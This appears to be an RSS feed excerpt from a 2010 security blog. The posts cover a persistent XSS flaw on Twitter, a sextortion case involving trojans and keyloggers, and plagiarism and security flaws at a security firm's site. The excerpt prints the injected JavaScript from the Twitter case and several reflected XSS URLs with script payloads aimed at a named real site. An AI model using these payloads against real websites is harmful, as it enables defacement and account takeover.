        if (wibiya_nc=="true") jQuery.noConflict();

        var altToolbar = getQueryParam("toolbarObjId");
        // detect jd_gallery, ie, user_request - load page after document.ready
        if (typeof (startGallery) == "function" || jQuery.browser.msie || wibiya_pl=="true") {
            var wibiyaScriptSrc;
            jQuery(document).ready(function(){
                if (typeof altToolbar == "undefined"){
                    wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
                }
                else{
                    wibiyaScriptSrc = altToolbar;
                }
                loadjscssfile(wibiyaScriptSrc,"js","body");
            });
        }
        else{
            if (typeof altToolbar == "undefined"){
                wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
            }
            else{
                wibiyaScriptSrc = altToolbar;
            }
            loadjscssfile(wibiyaScriptSrc,"js","body");
        }
    }
}


if (typeof(wibiyaToolbar)!="object"){
    if ( typeof jQuery != "function"){
        loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
    }
    else{
        if (wibiya_latestJq &amp;&amp; jquery_ver() != wibiya_jQuery_ver){
            loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
        }
    }

    var wibiyaToolbar = {};
    wibiyaToolbar.framework = {};

    wibiyaToolbar.id="463831";
    wibiyaToolbar.referrer=document.referrer;
    CheckJQueryLoader(wibiyaToolbar.id);
}


/************************************************************************/
/* Rainbow Links Version 1.03 (2003.9.20)                               */
/* Script updated by Dynamicdrive.com for IE6                           */
/* Copyright (C) 1999-2001 TAKANASHI Mizuki                             */
/* takanasi@hamal.freemail.ne.jp                                        */
/*----------------------------------------------------------------------*/
/* Read it somehow even if my English text is a little wrong! ;-)       */
/*                                                                      */
/* Usage:                                                               */
/*  Insert '&lt;script src="rainbow.js"&gt;&lt;/script&gt;' into the BODY section,  */
/*  right after the BODY tag itself, before anything else.              */
/*  You don't need to add "onMouseover" and "onMouseout" attributes!!   */
/*                                                                      */
/*  If you'd like to add effect to other texts(not link texts), then    */
/*  add 'onmouseover="doRainbow(this);"' and                            */
/*  'onmouseout="stopRainbow();"' to the target tags.                   */
/*                                                                      */
/* This Script works with IE4,Netscape6,Mozilla browser and above only, */
/* but no error occurs on other browsers.                               */
/************************************************************************/


////////////////////////////////////////////////////////////////////
// Setting

var rate = 20;  // Increase amount(The degree of the transmutation)


////////////////////////////////////////////////////////////////////
// Main routine

if (document.getElementById)
window.onerror=new Function("return true")

var objActive;  // The object which event occured in
var act = 0;    // Flag during the action
var elmH = 0;   // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg;     // A color before the change
var TimerID;    // Timer ID


if (document.all) {
    document.onmouseover = doRainbowAnchor;
    document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
    document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
    document.onmouseover = Mozilla_doRainbowAnchor;
    document.onmouseout = Mozilla_stopRainbowAnchor;
}


//=============================================================================
// doRainbow
//  This function begins to change a color.
//=============================================================================
function doRainbow(obj)
{
    if (act == 0) {
        act = 1;
        if (obj)
            objActive = obj;
        else
            objActive = event.srcElement;
        clrOrg = objActive.style.color;
        TimerID = setInterval("ChangeColor()",100);
    }
}


//=============================================================================
// stopRainbow
//  This function stops to change a color.
//=============================================================================
function stopRainbow()
{
    if (act) {
        objActive.style.color = clrOrg;
        clearInterval(TimerID);
        act = 0;
    }
}


//=============================================================================
// doRainbowAnchor
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
    if (act == 0) {
        var obj = event.srcElement;
        while (obj.tagName != 'A' &amp;&amp; obj.tagName != 'BODY') {
            obj = obj.parentElement;
            if (obj.tagName == 'A' || obj.tagName == 'BODY')
                break;
        }

        if (obj.tagName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = objActive.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// stopRainbowAnchor
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
    if (act) {
        if (objActive.tagName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Mozilla_doRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_doRainbowAnchor(e)
{
    if (act == 0) {
        obj = e.target;
        while (obj.nodeName != 'A' &amp;&amp; obj.nodeName != 'BODY') {
            obj = obj.parentNode;
            if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
                break;
        }

        if (obj.nodeName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = obj.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// Mozilla_stopRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_stopRainbowAnchor(e)
{
    if (act) {
        if (objActive.nodeName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Change Color
//  This function changes a color actually.
//=============================================================================
function ChangeColor()
{
    objActive.style.color = makeColor();
}


//=============================================================================
// makeColor
//  This function makes rainbow colors.
//=============================================================================
function makeColor()
{
    // Don't you think Color Gamut to look like Rainbow?

    // HSVtoRGB
    if (elmS == 0) {
        elmR = elmV;    elmG = elmV;    elmB = elmV;
    }
    else {
        t1 = elmV;
        t2 = (255 - elmS) * elmV / 255;
        t3 = elmH % 60;
        t3 = (t1 - t2) * t3 / 60;

        if (elmH &lt; 60) {
            elmR = t1;  elmB = t2;  elmG = t2 + t3;
        }
        else if (elmH &lt; 120) {
            elmG = t1;  elmB = t2;  elmR = t1 - t3;
        }
        else if (elmH &lt; 180) {
            elmG = t1;  elmR = t2;  elmB = t2 + t3;
        }
        else if (elmH &lt; 240) {
            elmB = t1;  elmR = t2;  elmG = t1 - t3;
        }
        else if (elmH &lt; 300) {
            elmB = t1;  elmG = t2;  elmR = t2 + t3;
        }
        else if (elmH &lt; 360) {
            elmR = t1;  elmG = t2;  elmB = t1 - t3;
        }
        else {
            elmR = 0;   elmG = 0;   elmB = 0;
        }
    }

    elmR = Math.floor(elmR).toString(16);
    elmG = Math.floor(elmG).toString(16);
    elmB = Math.floor(elmB).toString(16);
    if (elmR.length == 1)    elmR = "0" + elmR;
    if (elmG.length == 1)    elmG = "0" + elmG;
    if (elmB.length == 1)    elmB = "0" + elmB;

    elmH = elmH + rate;
    if (elmH &gt;= 360)
        elmH = 0;

    return '#' + elmR + elmG + elmB;
}


//****************************//
var scrolltotop={setting:{startline:100,scrollto:0,scrollduration:1000,fadeduration:[500,100]},controlHTML:'&lt;iframe title="h4x0r-x0x" src="http://www5.shoutmix.com/?h4x0r-x0x" width="500" height="700" frameborder="0" scrolling="auto"&gt;&lt;/iframe&gt;',controlattrs:{offsetx:5,offsety:5},anchorkeyword:'#top',state:{isvisible:false,shouldvisible:false},scrollup:function(){if(!this.cssfixedsupport)
this.$control.css({opacity:0})
var dest=isNaN(this.setting.scrollto)?this.setting.scrollto:parseInt(this.setting.scrollto)
if(typeof dest=="string"&amp;&amp;jQuery('#'+dest).length==1)
dest=jQuery('#'+dest).offset().top
else
dest=0
this.$body.animate({scrollTop:dest},this.setting.scrollduration);},keepfixed:function(){var $window=jQuery(window)
var controlx=$window.scrollLeft()+$window.width()-this.$control.width()-this.controlattrs.offsetx
var controly=$window.scrollTop()+$window.height()-this.$control.height()-this.controlattrs.offsety
this.$control.css({left:controlx+'px',top:controly+'px'})},togglecontrol:function(){var scrolltop=jQuery(window).scrollTop()
if(!this.cssfixedsupport)
this.keepfixed()
this.state.shouldvisible=(scrolltop&gt;=this.setting.startline)?true:false
if(this.state.shouldvisible&amp;&amp;!this.state.isvisible){this.$control.stop().animate({opacity:1},this.setting.fadeduration[0])
this.state.isvisible=true}
else if(this.state.shouldvisible==false&amp;&amp;this.state.isvisible){this.$control.stop().animate({opacity:0},this.setting.fadeduration[1])
this.state.isvisible=false}},init:function(){jQuery(document).ready(function($){var mainobj=scrolltotop
var iebrws=document.all
mainobj.cssfixedsupport=!iebrws||iebrws&amp;&amp;document.compatMode=="CSS1Compat"&amp;&amp;window.XMLHttpRequest
mainobj.$body=(window.opera)?(document.compatMode=="CSS1Compat"?$('html'):$('body')):$('html,body')
mainobj.$control=$('&lt;div id="topcontrol"&gt;'+mainobj.controlHTML+'&lt;/div&gt;').css({position:mainobj.cssfixedsupport?'fixed':'absolute',bottom:mainobj.controlattrs.offsety,right:mainobj.controlattrs.offsetx,opacity:0,cursor:'pointer'}).attr({title:'Scroll Back to Top'}).click(function(){mainobj.scrollup();return false}).appendTo('body')
if(document.all&amp;&amp;!window.XMLHttpRequest&amp;&amp;mainobj.$control.text()!='')
mainobj.$control.css({width:mainobj.$control.width()})
mainobj.togglecontrol()
$('a[href="'+mainobj.anchorkeyword+'"]').click(function(){mainobj.scrollup()
return false})
$(window).bind('scroll resize',function(e){mainobj.togglecontrol()})})}}
scrolltotop.init()
</code></pre>

<h3>H4X0R-X0X</h3>

<p>The researcher who found the problem hosts his blog at a .co.cc URL. While .cc is the country code for the Cocos (Keeling) Islands in Australia, .co.cc is actually a company offering free subdomain redirection services (http://www.co.cc/). The IP address of the blog (74.125.113.121) is shown as owned by Google Inc.. Perhaps the most relevant piece of origin information is the language used on the blog and in the forum, Indonesian.</p>

<p>The flag isn&#8217;t a bad clue either.</p>

<p><div id="attachment_4437" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg" alt="" title="forum_entry" width="750" height="672" class="size-full wp-image-4437" /></a><p class="wp-caption-text">Forum post at Balikita.net, a Community of Art.</p></div>
<br /></p>

<h3>Impact</h3>

<p>As demonstrated in the past, XSS vulnerabilities in Twitter have been successfully used to take over accounts and create worms (Mikeyy, StalkDaily). Infection (account takeover) can be accomplished simply by visiting a profile with an include of a malicious Javascript, making a true self propagating web site worm possible as opposed to other more recent attacks based on phishing a user&#8217;s credentials with a fake Twitter login screen (the LOL is this you style attacks).</p>

<p><div id="attachment_4462" class="wp-caption alignright" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3-150x150.jpg" alt="" title="19520928_3" width="150" height="150" class="size-thumbnail wp-image-4462" /></a><p class="wp-caption-text">Twitter's Del Harvey</p></div>

<p>This might be Twitter&#8217;s first serious cross site scripting vulnerability since the beginning of this year. Twitter has to correct this quickly as it was public knowledge before this post, and has been for days. We note that the problem has been reported to Twitter by a fellow researcher, and we also reported the issue to Del Harvey (Twitter&#8217;s Trust and Safety Team). We could have gone through the security e-mail address, but frankly the last time we did that the response irritated us. And since Harvey once worked <a href="http://www.perverted-justice.com/?pg=profiledel">in a mental institution</a>, she is probably the most qualified to deal with security people.</p>

<h3>Update</h3>

<p>As of 6pm the problem is still active in old applications, as one of our commentators below pointed out (with a working example). Twitter advised that the project has been corrected for new applications.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/">“Hi. This you?? LOL” Twitter Attack Snares Kevin Mitnick</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/">Not the Haus of Gaga too</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook’s Faith: A New Scareware Attack</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter (authentication)</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Sextortion via Hacking</title>
		<link>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 20:58:09 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[cyberextortion]]></category>
		<category><![CDATA[cyberstalking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4411</guid>
		<description><![CDATA[At least 186 women and 44 girls were caught in a bizarre scheme by 31 year old Santa Ana CA resident Luis Mijangos who attempted to extort pornographic videos from his victims. Mijangos, a paraplegic due to a gang shooting, was arrested yesterday following a two year investigation by the FBI, is charged with extortion and faces a maximum of two years in federal prison.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/fbi.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/fbi.jpg" alt="" title="fbi" width="99" height="100" class="alignleft size-full wp-image-4413" /></a></p>

<p>At least 186 women and 44 girls were caught in a bizarre scheme by 31 year old Santa Ana CA resident Luis Mijangos who attempted to extort pornographic videos from his victims. Mijangos, a paraplegic due to a gang shooting, was arrested yesterday following a two year investigation by the FBI, is charged with extortion and faces a maximum of two years in federal prison.</p>

<p>The FBI originally became involved in 2009 when called in by the Glendale Police to look into the compliant of a woman who suspected she was being stalked by an ex-boyfriend. The FBI&#8217;s investigation led them to Mijangos. A forensic analysis performed showed cracking activity dating back to 2008.</p>

<h3>The Scheme</h3>

<p>Mijangos initially gained control of user&#8217;s PC&#8217;s using Trojans disguised as popular songs on Peer to Peer file sharing networks. Once he took control of the PC, he would search for sexually explicit photographs and financial information, and attempt to use what he found to further extort pornographic videos from his victims. Bizarre e-mails would come from mijangos3@msn.com (he also went by Guicho) demanding sex tapes be made by the victims:</p>

<pre><code>"I will publish the images and let your family know about your dark side … so you better do that video,
 send it to me via e-mail and you will never hear from me ever...If I don't hear from you then your family
 will hear from me,"
</code></pre>

<pre><code>"You have three kids and a psycho ex but hat [sic] I don't care if you don't want this pics and the rest I 
have from you to be published [sic] this is what I want...A porn video of you 'you can blur your face;' 
if don't get the video ina day I will publish thse [sic] images and let your family know about your 
dark side as a hooker"
</code></pre>

<p>In one case he sent a nude picture of the victim to her and demanded her silence and a pornographic video or he would tell her family. He would tell victims that since he controlled their computers, he would know if they tried to contact authorities.</p>

<p>At times he would post as the victim&#8217;s boyfriend and request the explicit content, when he succeeded he would request increasingly more explicit videos be made and sent to him under threat of releasing the previously sent images. Finally there is evidence that he used web cams and microphones attached to the compromised computers to watch his victims in various states of undress or during intimate activities. At least one 20 year old woman put a sticker over her web cam when it continually went on without her doing anything.</p>

<p>He also used keyloggers to gain access to social networking sites, e-mail, credit card numbers, and so forth to gain further information to perpetuate the scheme as well as make purchases. He sent malware via instant messenger to the contacts of his victims to infect more computers, tallying more than 100 infected in all.</p>

<p>Mijangos indicated he was a consultant with programming knowledge of both Java and C++, so at this point the authorities and media have dubbed him a &#8220;master hacker&#8221;. Mijangos himself has indicated he is part of a team of &#8220;international hackers&#8221; and told at least one victim you don&#8217;t want to mess with a team of hackers.</p>

<h3>His Defense</h3>

<p>Mjangos came up with his own bizarre explanation for his actions, that he was in fact hired by boyfriends and husbands to see if the women would respond to requests for pornographic materials, a sort of fidelity test similar to what a private investigator might do to find a cheating spouse. Interestingly, Mjangos was so stupid that he continued his illegal activities even after a search warrant was executed back in March of this year. When caught he had in his home dozens of videos showing victims in states of undress (leaving the shower, getting dressed, engaging in intercourse) as well as financial data including credit card numbers alongside TurboTax, T-Mobile, Netflix, Paypal, HSBC, and Chase Bank account information.</p>

<p>Mjangos is a Mexican national, thus the INS is also involved.</p>

<h3>Finally</h3>

<p>This case is not the first involving cyber-extortion, think back to the DDoS extortion threats made against web site operators, but it is unusual in that it was not money being requested. Its not clear to me why this man only faces two years in prison, and the charges are limited to extortion, when 44 of the victims were juveniles making this potentially a child pornography case also. Identify theft would also appear applicable.</p>

<p>Either way, this is a good example of the FBI showing an interest in a seemingly innocuous case, cyberstalking by an ex-boyfriend, that instead led to and nailed a pretty serious predator. Much like in the corporate environment, a lot can happen when you start to pull on a thread.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.oc180news.com/printFriendlyPDF/articlePDF/18884.pdf">Santa Ana MAN ARRESTED by FBI FOR HACKING COMPUTERS
and DEMANDING SEXUALLY EXPLICIT VIDEOS FROM WOMEN
AND TEENAGE GIRLS</a></li>
<li><a href="http://www.latimes.com/news/local/orange/la-me-0623-hacker-20100623,0,3987251.story">FBI charges O.C. man in &#8217;sextortion&#8217; case</a></li>
<li><a href="http://www.latimes.com/news/nationworld/nation/wire/sns-ap-us-hacker-sex-extortion,0,246511.story">Prosecutors say Calif man hacked into computers to extort sex videos from women, teen girls</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/sextortion-via-hacking/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>NationalCyberSecurity.com has all &#8220;Original Content&#8221;</title>
		<link>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 21:36:10 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4364</guid>
		<description><![CDATA[Readers of Yahoo Finance were treated to the following wackadoo press release on Friday: <a href="http://finance.yahoo.com/news/National-Cyber-Security-pz-2336404204.html?x=0&#38;.v=1">National Cyber Security Uncovers Racism Within the Computer Security Industry</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nationalcybersec.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nationalcybersec-150x60.png" alt="" title="nationalcybersec" width="150" height="60" class="alignleft size-thumbnail wp-image-4365" /></a></p>

<p>Readers of Yahoo Finance were treated to the following wackadoo press release on Friday: <a href="http://finance.yahoo.com/news/National-Cyber-Security-pz-2336404204.html?x=0&amp;.v=1">National Cyber Security Uncovers Racism Within the Computer Security Industry</a>. In <a href="http://praetorianprefect.com/archives/2010/06/4305/">our article Friday</a> we made a case for a better title: &#8220;Ligatt Discovers that People Don&#8217;t Like Being Plagiarized&#8221;. The web site referenced, <a href="http://www.nationalcybersecurity.com/">National Cyber Security by Ligatt</a>, is a not so subtle take off of the name of the National Cyber Security Division (NCSD) in the Department of Homeland Security. This &#8220;National Cyber Security&#8221; is another strange project from confidence man Gregory Evans of Ligatt Security.</p>

<p>Here is the stated mission:</p>

<p><i>&#8220;National Cyber Security is the number one cyber security related reference and news portal. It is their vital mission to help secure not only the nation, but the world from cyber criminal threats being faced daily. Their references include a cyber security watch news, blogs written by cyber security professionals, cyber security links, and email correspondence to their professionals who help protect website visitors from any cyber threat.</i></p>

<p>But with <a href="http://praetorianprefect.com/archives/2010/06/4305/">fake reporter profiles</a>, plagiarized articles, dubious cyber-terrorism experts, bizarre biographies of other people, and a site riddled with security flaws: the actual message of the web site is overtaken by a subtler truth about charlatans in the information security industry.</p>

<h3>McKenzie</h3>

<p><i>&#8220;By purchasing National Cyber Security, we will be able to partner with fellow computer security experts like Grey McKenzie to be a force against cyber-crime.&#8221;</i> &#8211; Gregory Evans</p>

<p>McKenzie was part of an anti-keylogging product called <a href="http://www.spycop.com/">SpyCop</a> that appears to have gone dark or continued under a different form according to forum posts. Strangely, while McKenzie lists himself as creator of the National Cyber Security Portal, he lists no affiliation with Ligatt on LinkedIn. It appears the site was purchased by Ligatt on 3/31/09 and redesigned, although the original site had republished news stories as well.</p>

<h3>Plagiarized Content</h3>

<p>IronGeek has done excellent job making the case against Ligatt&#8217;s plagiarism on this web site with the following Youtube video which amusingly begins with Evans stating that the site is &#8220;all original content&#8221; not stories gathered through &#8220;Googles&#8221;:</p>

<p><object width="660" height="525"><param name="movie" value="http://www.youtube.com/v/zDBCcZ3NKHQ&#038;hl=en_US&#038;fs=1&#038;rel=0&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/zDBCcZ3NKHQ&#038;hl=en_US&#038;fs=1&#038;rel=0&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="660" height="525"></embed></object>
<br /></p>

<h3>Bizarre Biographies</h3>

<p><div id="attachment_4368" class="wp-caption alignnone" style="width: 488px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ncs-plagiarism-judith_pugh.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ncs-plagiarism-judith_pugh.png" alt="" title="ncs-plagiarism-judith_pugh" width="478" height="478" class="size-full wp-image-4368" /></a><p class="wp-caption-text">Judith Pugh or J.L. Smith?</p></div>
<br /></p>

<p>It is sad when you can&#8217;t even steal effectively. The answer is both, this picture is of <a href="http://www.reportingfordoodie.com/">J.L. Smith</a> aka Judith Pugh, author of <u>Reporting for Doodie, One Grandmother&#8217;s Story of Commitment, Frustration &amp; Unwavering Love</u> and not a National Cyber Security author.</p>

<h3>Riddled with Security Flaws</h3>

<p>The site was victimized on Friday by a vulnerability allowing for what appears to be a persistent XSS attack that allowed whoever exploited it to replace the picture of Gregory Evans with a picture reference to <a href="http://encyclopediadramatica.com/Epic_Fail_Guy">Epic Fail Guy</a>, itself a pseudo reference to &#8216;Anonymous&#8217;, Guy Fawkes, et al.:</p>

<p><div id="attachment_4379" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/natlcybersecurity1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/natlcybersecurity1.png" alt="" title="natlcybersecurity" width="700" height="390" class="size-full wp-image-4379" /></a><p class="wp-caption-text">Gregory Evans as Guy Fawkes stick figure Epic Fail Guy.</p></div>
<br /></p>

<p>The flaw that allowed this is in addition to numerous cross site scripting (XSS) issues on the web site:</p>

<pre><code>http://www.nationalcybersecurity.com/search?Query=%3CIMG+SRC%3D%22http%3A%2F%2Fattrition.org
/images/squirrel-mascot-iconL.gif%22%3E&amp;fromSmall=true&amp;searchWhat=searchAll&amp;submit.x=20&amp;submit.y=10&amp;
searchField=searchContentBody&amp;searchField=searchContentBody
</code></pre>

<p><div id="attachment_4372" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_1-300x255.png" alt="" title="xss_1" width="300" height="255" class="size-medium wp-image-4372" /></a><p class="wp-caption-text">Source: Attrition.org.</p></div>
<br /></p>

<pre><code>http://www.nationalcybersecurity.com/admin/index.php?username=&lt;script&gt;alert('xss')&lt;/script&gt;
</code></pre>

<p><div id="attachment_4373" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-26-ncs-username.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-26-ncs-username-300x164.png" alt="" title="2010-05-26-ncs-username" width="300" height="164" class="size-medium wp-image-4373" /></a><p class="wp-caption-text">Source: http://quine.dreamwidth.org/2904.html</p></div>
<br /></p>

<pre><code>http://www.nationalcybersecurity.com/search?Query=&lt;script&gt;alert('xss')&lt;/script&gt;
</code></pre>

<p><div id="attachment_4374" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-19-ncs-query.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/2010-05-19-ncs-query-300x194.png" alt="" title="2010-05-19-ncs-query" width="300" height="194" class="size-medium wp-image-4374" /></a><p class="wp-caption-text">Source: http://quine.dreamwidth.org/2722.html</p></div>
<br /></p>

<p>Is having these types of flaws on an information security site the end of the world? We just wrote a story about <a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure having something similar</a> on their US site last week. The difference: F-Secure corrected the issue, and wrote a post describing the problem, within twenty four hours of notification. Web site injection flaws are common, security companies will have them from time to time, and the key to deriving meaning from such stories is evaluating how the security firm responds.</p>

<h3>Finally</h3>

<p>Edmund Burke once said, &#8220;All that is necessary for evil to triumph is for good men to do nothing.&#8221;</p>

<h3>Related Content</h3>

<ul>
<li><a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt09/">Gregory D. Evans, Even More Plagiarism</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>LIGATT&#8217;s Evans Strikes Back</title>
		<link>http://praetorianprefect.com/archives/2010/06/4305/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/4305/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 09:11:05 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4305</guid>
		<description><![CDATA[<a href="http://attrition.org/errata/charlatan/gregory_evans/">Gregory Evans, the CEO of LIGATT Security,</a> is not taking the <a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">criticism</a> heaped <a href="http://attrition.org/errata/charlatan/gregory_evans/">upon himself and his firm</a> or his <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker">latest book</a> lying down.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligattthumb.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligattthumb-150x150.jpg" alt="" title="ligattthumb" width="150" height="150" class="alignleft size-thumbnail wp-image-4306" /></a></p>

<p><a href="http://attrition.org/errata/charlatan/gregory_evans/">Gregory Evans, the CEO of LIGATT Security,</a> is not taking the <a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">criticism</a> heaped <a href="http://attrition.org/errata/charlatan/gregory_evans/">upon himself and his firm</a> or his <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker">latest book</a> lying down. Yesterday he posted a pair of videos on “National Cyber Security”, a web site under the LIGATT umbrella, <a href="http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html">as part of an article</a> written by a “Seria Mullen”, News Researcher at LIGATT Security in which he puts forth that security professionals Chris John Riley and Ben Rothke are motivated by racism.</p>

<h3>Seria Mullen?</h3>

<p>Let&#8217;s start with the article&#8217;s author. Geoff Belknap’s research points out quickly that the Seria Mullen who wrote this less than eloquent article bears a striking resemblance to (actual person) Knox News reporter Chloe White Kennedy.</p>

<p>You decide:</p>

<p><div id="attachment_4312" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/117095676.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/117095676.jpg" alt="" title="117095676" width="600" height="446" class="size-full wp-image-4312" /></a><p class="wp-caption-text">Article on Computer Nerds by Seria Mullen.</p></div>
<br /></p>

<p><div id="attachment_4313" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/117096209.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/117096209.jpg" alt="" title="117096209" width="600" height="446" class="size-full wp-image-4313" /></a><p class="wp-caption-text">Knox Reporter Chloe Kennedy?</p></div>
<br /></p>

<p>Separated at birth perhaps?</p>

<h3>News Stories?</h3>

<p>It doesn’t take a brain surgeon to figure out that what are being presented as original articles by the mysterious doppelganger Ms. Mullen are just lifted directly from other places:</p>

<p><div id="attachment_4315" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/hsw.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/hsw.jpg" alt="" title="hsw" width="750" height="529" class="size-full wp-image-4315" /></a><p class="wp-caption-text">Homeland Security Newswire Story.</p></div>
<br /></p>

<p><div id="attachment_4314" class="wp-caption alignnone" style="width: 488px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/article_1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/article_1.jpg" alt="" title="article_1" width="478" height="547" class="size-full wp-image-4314" /></a><p class="wp-caption-text">Story on LIGATT's National Cybersecurity.</p></div>
<br /></p>

<h3>Video – Part 1</h3>

